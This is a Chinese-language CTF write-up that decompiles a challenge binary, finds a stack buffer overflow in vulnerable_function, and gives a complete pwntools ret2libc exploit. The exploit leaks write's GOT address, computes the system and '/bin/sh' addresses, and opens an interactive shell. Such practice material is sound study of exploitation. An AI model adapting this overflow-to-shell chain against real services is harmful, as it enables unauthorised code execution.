题目分析
1 反编译,寻找可以利用的漏洞
void main(void)
{
be_nice_to_people();
vulnerable_function();
write(1,"Hello, World\n",0xd);
return;
}
从main函数来看,函数vulnerable_function是个最明显的提示,大概率就是突破点,但是be_nice_to_people也可以捎带看一眼。
void be_nice_to_people(void)
{
__gid_t __rgid;
__rgid = getegid();
setresgid(__rgid,__rgid,__rgid);
return;
}
好吧,确实没看到可以利用的点,查了下资料,也没找到这个函数存在的必要性,待定吧。
void vulnerable_function(void)
{
undefined local_8c [136];
read(0,local_8c,0x100);
return;
}
ok,这个就是典型的溢出,read的长度限制比数组长度大。
2 分析利用链
1 查找整个反编译工程,没有看到system或者execve等函数,也没看到/bin/sh字符串,也没找到其他可利用函数,那基本可以确定是ret2libc的套路 2 需要拿到libc中函数的地址,那可以利用的点,就是通过write函数来打印输出 3 然后,通过地址推算出system和/bin/sh的地址 4 需要再次执行,那就需要溢出后能再次跳转到vulnerable_function 5 通过vulnerable_function再次执行溢出跳转到system ok, 1 2 3 5都是常规操作,4 需要研究下怎么跳转,还好,上篇学到的函数返回地址(call和函数直接调用的区别)可以派上用场,试验一下,果然可行。
利用脚本
1 from pwn import *
2 from LibcSearcher import *
3 elf = ELF('2018_rop')
4 libc = ELF('libc-2.27.so')
5
6 context(arch = 'amd64', os = 'linux',log_level = 'debug', terminal="/bin/sh")
7
8
9
10
11
12
13 sh = process('./2018_rop')
14 pad = 'A' * 140
15 write_got_addr = 0x0804a010
16 vulner_addr = 0x080484d4
17 payload = pad.encode()
18 payload += p32(0x080483a0) + p32(vulner_addr) + p32(0x01) + p32(write_got_addr) + p32(0x20)
19
20 sh.sendline(payload)
21 content = sh.recv()[:4]
22 mem_addr = int.from_bytes(content, 'little')
23 print("%#x -> %s" % (write_got_addr, hex(mem_addr)))
24
25
26 obj = LibcSearcher("write", mem_addr)
27 obj.dump('system')
28
29 libc_write_offset = libc.sym['write']
30 print(hex(libc_write_offset))
31
32 libc_system_offset = libc.sym['system']
33 print(hex(libc_system_offset))
34
35 libc_database = mem_addr - libc_write_offset
36
37 mem_system_addr = libc_database + libc_system_offset
38 print(hex(mem_system_addr))
39
40 mem_binsh = libc_database + next(libc.search(b'/bin/sh'))
41 print(hex(mem_binsh))
42
43
44 payload1 = pad.encode() + p32(mem_system_addr) + p32(0x12345678) + p32(mem_binsh)
45 sh.sendline(payload1)
46
47 with open('payload.txt', 'wb') as f:
48 f.write(payload)
49 f.write(payload1)
50
51
52 sh.interactive()
总结
总感觉对于栈的理解不够深刻,需要系统性的学习一下,不过没找到好的资料,只能边刷题边学习了。
|